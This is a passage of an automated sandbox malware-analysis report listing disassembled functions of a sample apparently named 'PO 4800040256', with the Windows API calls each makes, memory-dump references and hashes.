                                                                                                                                                                        • Part of subcall function 00410130: SHGetMalloc.SHELL32(00000000), ref: 0041013A
                                                                                                                                                                        • Part of subcall function 00410130: SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
                                                                                                                                                                        • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 00410160
                                                                                                                                                                        • Part of subcall function 00410130: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
                                                                                                                                                                        • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 004101AC
                                                                                                                                                                        • Part of subcall function 00410020: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00410037
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: NamePath$Full_wcscpy$DesktopFileFolderFromListMallocOpen_memset
                                                                                                                                                                      • String ID: $OH$@OH$X
                                                                                                                                                                      • API String ID: 3491138722-1394974532
                                                                                                                                                                      • Opcode ID: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                                                                                      • Instruction ID: e3e81f3fa603e1d093c5df9e9287f390c0398a0e5563e0e16fb911f44c5f658a
                                                                                                                                                                      • Opcode Fuzzy Hash: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                                                                                      • Instruction Fuzzy Hash: 2111C2B02043405BC311EF19984175FBBE9AFD5308F14882EF68497292D7FD854DCB9A
                                                                                                                                                                      Function 00463D7E Relevance: 7.6, APIs: 5, Instructions: 141libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryW.KERNEL32(00000000), ref: 00463DD1
                                                                                                                                                                      • GetProcAddress.KERNEL32(?,?), ref: 00463E68
                                                                                                                                                                      • GetProcAddress.KERNEL32(?,00000000), ref: 00463E84
                                                                                                                                                                      • GetProcAddress.KERNEL32(?,?), ref: 00463ECE
                                                                                                                                                                      • FreeLibrary.KERNEL32(?,?,?,00000000,?), ref: 00463EF0
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$Library$FreeLoad
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2449869053-0
                                                                                                                                                                      • Opcode ID: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                                                                                      • Instruction ID: 5a5949aabc30296464acd143044f95cbdcafad8a77d2d24e7d672d776762960f
                                                                                                                                                                      • Opcode Fuzzy Hash: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                                                                                      • Instruction Fuzzy Hash: 9051C1752043409FC300EF25C881A5BB7A4FF89305F00456EF945A73A2DB79EE45CBAA
                                                                                                                                                                      Function 0044C379 Relevance: 7.6, APIs: 5, Instructions: 137windowkeyboardCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C3DA
                                                                                                                                                                      • SetKeyboardState.USER32(00000080), ref: 0044C3ED
                                                                                                                                                                      • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C441
                                                                                                                                                                      • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C465
                                                                                                                                                                      • SendInput.USER32 ref: 0044C509
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: KeyboardMessagePostState$InputSend
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3031425849-0
                                                                                                                                                                      • Opcode ID: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                                      • Instruction ID: f46f63d78903415e516a46676784f6fcea1caa301ceb581e17347d916cd8316d
                                                                                                                                                                      • Opcode Fuzzy Hash: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                                      • Instruction Fuzzy Hash: DB413B715462446FF760AB24D944BBFBB94AF99324F04061FF9D4122C2D37D9908C77A
                                                                                                                                                                      Function 004422B9 Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • RegEnumKeyExW.ADVAPI32 ref: 004422F0
                                                                                                                                                                      • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?), ref: 0044232B
                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000), ref: 0044234E
                                                                                                                                                                      • RegDeleteKeyW.ADVAPI32(?,?), ref: 00442390
                                                                                                                                                                      • RegEnumKeyExW.ADVAPI32(?,00000000), ref: 004423C0
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Enum$CloseDeleteOpen
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2095303065-0
                                                                                                                                                                      • Opcode ID: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                                                                                      • Instruction ID: 24d8057b763805d248a02a33893b377b1579bd56aab3fff97e90bb3d062a49ad
                                                                                                                                                                      • Opcode Fuzzy Hash: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                                                                                      • Instruction Fuzzy Hash: 0C3150721043056EE210DF94DD84FBF73ECEBC9314F44492EBA9596141D7B8E9098B6A
                                                                                                                                                                      Function 0045C277 Relevance: 7.6, APIs: 5, Instructions: 105COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C2F4
                                                                                                                                                                      • GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C31B
                                                                                                                                                                      • WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C363
                                                                                                                                                                      • WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C385
                                                                                                                                                                      • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C392
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: PrivateProfile$SectionWrite$String
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2832842796-0
                                                                                                                                                                      • Opcode ID: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                                                                                                      • Instruction ID: eb365ed5c03c4bb3a44f9ddbc5128f2f56e5f8affd5b6ace934fe40af23b551f
                                                                                                                                                                      • Opcode Fuzzy Hash: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                                                                                                      • Instruction Fuzzy Hash: 00318675240305ABD610DFA1DC85F9BB3A8AF84705F00891DF94497292D7B9E889CB94
                                                                                                                                                                      Function 0044796B Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetClientRect.USER32(?,?), ref: 00447997
                                                                                                                                                                      • GetCursorPos.USER32(?), ref: 004479A2
                                                                                                                                                                      • ScreenToClient.USER32(?,?), ref: 004479BE
                                                                                                                                                                      • WindowFromPoint.USER32(?,?), ref: 004479FF
                                                                                                                                                                      • DefDlgProcW.USER32(?,00000020,?,?), ref: 00447A78
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Client$CursorFromPointProcRectScreenWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1822080540-0
                                                                                                                                                                      • Opcode ID: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                                      • Instruction ID: e9c1e18ea4fcc9a2ad4b32cd349e8b57ec7287094a91df3c43d19f1875151664
                                                                                                                                                                      • Opcode Fuzzy Hash: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                                      • Instruction Fuzzy Hash: DE3188742082029BD710CF19D88596FB7A9EBC8714F144A1EF88097291D778EA57CBAA
                                                                                                                                                                      Function 00447BAF Relevance: 7.6, APIs: 5, Instructions: 95COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                                                                                      • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                                                                                      • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                                                                                      • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                                                                                      • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ClientPaintRectRectangleScreenViewportWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 659298297-0
                                                                                                                                                                      • Opcode ID: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                                                                                                      • Instruction ID: 653bb342b0117225c29b14224c0e663a7b864e912777eddc33bb147bcfad3e12
                                                                                                                                                                      • Opcode Fuzzy Hash: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                                                                                                      • Instruction Fuzzy Hash: 8A3150706043019FE320CF15D9C8F7B7BE8EB89724F044A6EF994873A1D774A8468B69
                                                                                                                                                                      Function 00447870 Relevance: 7.6, APIs: 5, Instructions: 94windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCursorPos.USER32(?), ref: 004478A7
                                                                                                                                                                      • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478C3
                                                                                                                                                                      • DefDlgProcW.USER32(?,0000007B,?,?,004A83D8,?,004A83D8,?), ref: 004478E7
                                                                                                                                                                      • GetCursorPos.USER32(?), ref: 00447935
                                                                                                                                                                      • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 0044795B
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CursorMenuPopupTrack$Proc
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1300944170-0
                                                                                                                                                                      • Opcode ID: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                                                                                      • Instruction ID: 600148c7f6f0e64f7aba5c2d0a58757112576a5c49d56a392ea253be37485a5b
                                                                                                                                                                      • Opcode Fuzzy Hash: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                                                                                      • Instruction Fuzzy Hash: 2B31E475244204ABE214DB48DC48FABB7A5FBC9711F14491EF64483390D7B96C4BC779
                                                                                                                                                                      Function 00448837 Relevance: 7.6, APIs: 5, Instructions: 89COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                      • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                      • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                        • Part of subcall function 004413F0: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                                                                                        • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                                                                                        • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                                                                                        • Part of subcall function 004413F0: SendMessageW.USER32(00A01AD0,000000F1,00000000,00000000), ref: 004414C6
                                                                                                                                                                        • Part of subcall function 004413F0: SendMessageW.USER32(00A01AD0,000000F1,00000001,00000000), ref: 004414F1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$EnableMessageSend$LongShow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 142311417-0
                                                                                                                                                                      • Opcode ID: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                                                                                      • Instruction ID: 53ead31d82dc60d0a1ec6489c26700cf05fac79e8a5bf65a12bf69c5108a1aee
                                                                                                                                                                      • Opcode Fuzzy Hash: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                                                                                      • Instruction Fuzzy Hash: 942105B07053809BF7148E28C8C47AFB7D0FB95345F08482EF981A6391DBAC9845C72E
                                                                                                                                                                      Function 00449549 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 0044955A
                                                                                                                                                                        • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                                                                                      • SendMessageW.USER32(?,00001060,00000000,00000004), ref: 004495B3
                                                                                                                                                                      • _wcslen.LIBCMT ref: 004495C1
                                                                                                                                                                      • _wcslen.LIBCMT ref: 004495CE
                                                                                                                                                                      • SendMessageW.USER32(?,00001060,00000000,?), ref: 004495FF
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend_wcslen$_memset_wcspbrk
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1843234404-0
                                                                                                                                                                      • Opcode ID: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                                                                                      • Instruction ID: 2eba0e6ca7bf2f01d6f4dc0284c8cedbdf4c7ea0b5caad0642d64795040b3bc6
                                                                                                                                                                      • Opcode Fuzzy Hash: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                                                                                      • Instruction Fuzzy Hash: 1821F87260430556E630EB15AC81BFBB3D8EBD0761F10483FEE4081280E67E9959D3AA
                                                                                                                                                                      Function 00455014 Relevance: 7.6, APIs: 5, Instructions: 78COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                                                                                      • Instruction ID: 4734ce3ce40af5b77ad59fd8baedf6a3e56741e39cc50bb30d89ac3ca2d3bd52
                                                                                                                                                                      • Opcode Fuzzy Hash: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                                                                                      • Instruction Fuzzy Hash: 1321E0712006409BCB10EF29D994D6B73A8EF45321B40466EFE5597382DB34EC08CBA9
                                                                                                                                                                      Function 00445719 Relevance: 7.6, APIs: 5, Instructions: 76windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • IsWindowVisible.USER32(?), ref: 00445721
                                                                                                                                                                      • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0044573C
                                                                                                                                                                      • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00445773
                                                                                                                                                                      • _wcslen.LIBCMT ref: 004457A3
                                                                                                                                                                      • CharUpperBuffW.USER32(00000000,00000000), ref: 004457AD
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3087257052-0
                                                                                                                                                                      • Opcode ID: 453d8cf2d53bd446159bbb0baa073021fe1e74c256db72c881888fb31e2a567b
                                                                                                                                                                      • Instruction ID: 00e09c3d40749c53521e9302b0eb92bb7bfe2d7d521d01ead8474e6f611d5aec
                                                                                                                                                                      • Opcode Fuzzy Hash: 453d8cf2d53bd446159bbb0baa073021fe1e74c256db72c881888fb31e2a567b
                                                                                                                                                                      • Instruction Fuzzy Hash: FA11E972601741BBF7105B35DC46F5B77CDAF65320F04443AF40AE6281FB69E84583AA
                                                                                                                                                                      Function 00459DCF Relevance: 7.6, APIs: 5, Instructions: 71COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • IsWindow.USER32(00000000), ref: 00459DEF
                                                                                                                                                                      • GetForegroundWindow.USER32 ref: 00459E07
                                                                                                                                                                      • GetDC.USER32(00000000), ref: 00459E44
                                                                                                                                                                      • GetPixel.GDI32(00000000,?,00000000), ref: 00459E4F
                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 00459E8B
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$ForegroundPixelRelease
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4156661090-0
                                                                                                                                                                      • Opcode ID: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                                                                                      • Instruction ID: f25aa70a507d7fb142791e963b89e5313ab4350e7ab13503248c443e15a863bf
                                                                                                                                                                      • Opcode Fuzzy Hash: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                                                                                      • Instruction Fuzzy Hash: 76219D76600202ABD700EFA5CD49A5AB7E9FF84315F19483DF90597642DB78FC04CBA9
                                                                                                                                                                      Function 00464950 Relevance: 7.6, APIs: 5, Instructions: 68networkCOMMON
                                                                                                                                                                      Download Yara Rule
